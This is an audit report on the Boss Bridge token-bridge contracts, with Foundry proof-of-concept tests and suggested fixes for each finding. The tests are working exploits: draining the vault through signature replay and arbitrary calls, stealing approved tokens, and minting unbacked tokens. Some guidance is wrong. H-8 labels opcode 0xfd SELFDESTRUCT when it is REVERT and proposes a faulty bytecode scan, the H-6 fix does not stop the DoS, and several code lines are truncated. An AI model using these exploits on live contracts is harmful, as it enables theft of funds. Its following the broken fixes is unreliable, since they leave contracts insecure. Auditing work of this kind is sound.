Boss Bridge Audit Report

Vicent00

March, 2025

Boss Bridge Audit Report

Prepared by: Vicent00 Lead Auditors:

- vicenteaguilar.com

Assisting Auditors:

- None

Table of contents

    - [H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd
    - [H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited
    - [H-8] `TokenFactory::deployToken` locks tokens forever
  - Medium
    - [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
  - Low
    - [L-1] Lack of event emission during withdrawals and sending tokesn to L1
    - [L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`
    - [L-3] Unsupported opcode PUSH0
  - Informational
    - [I-1] Insufficient test coverage

About Vicent00

Disclaimer

The Vicent00 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity	Number of issues found
High	8
Medium	1
Low	3
Info	1
Gas	0
Total	13

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```diff
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whe
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
```

```diff
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    vm.stopPrank();
}
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker, attackerInitialBalance), operator

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance + vaultInitialBalanc
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us to request a withdr
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
}
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] `CREATE` opcode does not work on zksync era

The `TokenFactory::deployToken` function uses the `CREATE` opcode through inline assembly, which is not supported in zkSync Era. This will cause deployment failures when the bridge is deployed on zkSync Era.

Impact: Deployment will fail completely on zkSync Era, breaking cross-chain functionality.

Vulnerable Code:

```
function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner r
    assembly {
        addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
    }
}
```

Root Cause: zkSync Era uses CREATE2 by default and does not support the CREATE opcode.

Proof of Concept:

```
function testCreateOpcodeFailsOnZkSync() public {
    // This will fail on zkSync Era
    bytes memory bytecode = hex"608060405234801560f57600080fd5b506040516101e83803806101e883

    // This will revert on zkSync Era
    factory.deployToken("TEST", bytecode);
}
```

Recommended Fix: Use CREATE2 for cross-chain compatibility:

```
import { Create2 } from "@openzeppelin/contracts/utils/Create2.sol";

function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner r
    require(contractBytecode.length > 0, "Empty bytecode");

    bytes32 salt = keccak256(abi.encodePacked(symbol, block.timestamp));
    addr = Create2.deploy(salt, contractBytecode, "");

    require(addr != address(0), "Deployment failed");
    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}
```

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

The deposit limit check in `depositTokensToL2` can be exploited to perform a Denial of Service attack by filling the vault to its limit, preventing other users from depositing.

Impact: An attacker can prevent all future deposits by filling the vault to the limit.

Vulnerable Code:

```
uint256 public DEPOSIT_LIMIT = 100_000 ether;

function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenN
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
    token.safeTransferFrom(from, address(vault), amount);
    emit Deposit(from, l2Recipient, amount);
}
```

Root Cause: The limit is incorrectly set to 100,000 ether when it should be 50,000 ether (as noted in the comment), and there's no protection against DoS attacks.

Proof of Concept:

```
function testDepositLimitDoS() public {
    // Attacker fills vault to limit
    uint256 fillAmount = bridge.DEPOSIT_LIMIT() - token.balanceOf(address(vault));
    bridge.depositTokensToL2(attacker, attacker, fillAmount);

    // Now no one can deposit
    vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.selector);
    bridge.depositTokensToL2(user, user, 1 ether);
}
```

Recommended Fix: Implement proper limit calculation and DoS protection:

```
uint256 public DEPOSIT_LIMIT = 50_000 ether; // Correct limit

function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenN
    require(amount > 0, "Amount must be greater than 0");
    require(amount <= DEPOSIT_LIMIT / 10, "Amount too large"); // Prevent large deposits

    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
    token.safeTransferFrom(from, address(vault), amount);
    emit Deposit(from, l2Recipient, amount);
}
```

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

The withdrawal mechanism lacks proper validation of deposited amounts, allowing attackers to withdraw more tokens than they deposited through replay attacks and lack of deposit tracking.

Impact: Attackers can drain the vault by withdrawing more than deposited.

Vulnerable Code:

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) exter
    sendToL1(
        v,
        r,
        s,
        abi.encode(
            address(token),
            0,
            abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
        )
    );
}
```

Root Cause: No tracking of deposits vs withdrawals, no replay protection, and no validation of withdrawal amounts.

Proof of Concept:

```
function testWithdrawMoreThanDeposited() public {
    // User deposits 100 tokens
    bridge.depositTokensToL2(user, user, 100 ether);

    // Attacker can withdraw 1000 tokens (more than deposited)
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, 1000 eth
    bridge.withdrawTokensToL1(user, 1000 ether, v, r, s);

    // User now has more tokens than deposited
    assertGt(token.balanceOf(user), 100 ether);
}
```

Recommended Fix: Implement deposit tracking and replay protection:

```
mapping(address => uint256) public deposits;
mapping(bytes32 => bool) public usedSignatures;

function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenN
    // ... existing code ...
```

```
    deposits[from] += amount;
    emit Deposit(from, l2Recipient, amount);
}

function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) exter
    require(deposits[to] >= amount, "Insufficient deposits");

    bytes32 signatureHash = keccak256(abi.encodePacked(v, r, s));
    require(!usedSignatures[signatureHash], "Signature already used");
    usedSignatures[signatureHash] = true;

    deposits[to] -= amount;

    sendToL1(v, r, s, abi.encode(
        address(token),
        0,
        abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
    ));
}
```

[H-8] `TokenFactory::deployToken` locks tokens forever

The `TokenFactory::deployToken` function lacks proper validation of bytecode, allowing deployment of malicious contracts that can steal tokens or lock them forever.

Impact: Malicious bytecode can be deployed, leading to token theft or permanent locking.

Vulnerable Code:

```
function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner r
    assembly {
        addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
    }
}
```

Root Cause: No validation of bytecode content, no verification of ERC20 compliance, and no protection against malicious contracts.

Proof of Concept:

```
function testDeployMaliciousToken() public {
    // Malicious bytecode that can steal tokens
    bytes memory maliciousBytecode = hex"60006000fd"; // SELFDESTRUCT

    // Deploy malicious token
    address maliciousToken = factory.deployToken("MAL", maliciousBytecode);
```

```
    // Token can now steal funds or lock them forever
    assertTrue(maliciousToken != address(0));
}
```

Recommended Fix: Implement comprehensive bytecode validation:

```
function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner r
    require(bytes(symbol).length > 0, "Empty symbol");
    require(s_tokenToAddress[symbol] == address(0), "Symbol already exists");
    require(contractBytecode.length > 0, "Empty bytecode");
    require(contractBytecode.length < 24576, "Bytecode too large");
    require(!_containsSelfDestruct(contractBytecode), "Contains SELFDESTRUCT");

    bytes32 salt = keccak256(abi.encodePacked(symbol, block.timestamp));
    addr = Create2.deploy(salt, contractBytecode, "");

    require(addr != address(0), "Deployment failed");

    // Verify ERC20 compliance
    try IERC20(addr).totalSupply() returns (uint256) {
        // OK
    } catch {
        revert("Not a valid ERC20 token");
    }

    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}

function _containsSelfDestruct(bytes memory bytecode) internal pure returns (bool) {
    for (uint i = 0; i < bytecode.length; i++) {
        if (bytecode[i] == 0xfd) return true; // SELFDESTRUCT opcode
    }
    return false;
}
```

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`

The `TokenFactory::deployToken` function allows deployment of multiple tokens with the same symbol, which can cause confusion and potential security issues.

Impact: Multiple tokens with the same symbol can lead to user confusion and potential token theft.

Vulnerable Code:

```
function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner r
    assembly {
        addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
    }
    s_tokenToAddress[symbol] = addr; // Overwrites previous token
    emit TokenDeployed(symbol, addr);
}
```

Root Cause: No validation to ensure symbol uniqueness before deployment.

Proof of Concept:

```
function testDuplicateSymbols() public {
    // Deploy first token
    address token1 = factory.deployToken("USDC", bytecode1);

    // Deploy second token with same symbol
```

```
    address token2 = factory.deployToken("USDC", bytecode2);

    // Second deployment overwrites the first
    assertEq(factory.getTokenAddressFromSymbol("USDC"), token2);
    assertTrue(token1 != token2);
}
```

Recommended Fix: Add symbol uniqueness validation:

```
function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner r
    require(bytes(symbol).length > 0, "Empty symbol");
    require(s_tokenToAddress[symbol] == address(0), "Symbol already exists");

    // ... rest of deployment logic
}
```

[L-3] Unsupported opcode PUSH0

The contracts use Solidity 0.8.20 which includes the PUSH0 opcode, but this opcode is not supported on all L2 networks including some older versions of zkSync Era.

Impact: Deployment may fail on networks that don't support PUSH0 opcode.

Vulnerable Code: All contracts using Solidity 0.8.20+ automatically include PUSH0 opcodes.

Root Cause: PUSH0 opcode was introduced in Solidity 0.8.20 and is not supported on all networks.

Recommended Fix: Use Solidity 0.8.19 or implement compatibility checks:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19; // Use 0.8.19 instead of 0.8.20
```

Informational

[I-1] Insufficient test coverage

```
Running tests...
| File                 | % Lines        | % Statements   | % Branches    | % Funcs       |
| -------------------- | -------------- | -------------- | ------------- | ------------- |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)  | 83.33% (5/6)  |
| src/L1Vault.sol      | 0.00% (0/1)    | 0.00% (0/1)    | 100.00% (0/0) | 0.00% (0/1)   |
| src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00% (0/0) | 100.00% (2/2) |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)  | 77.78% (7/9)  |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.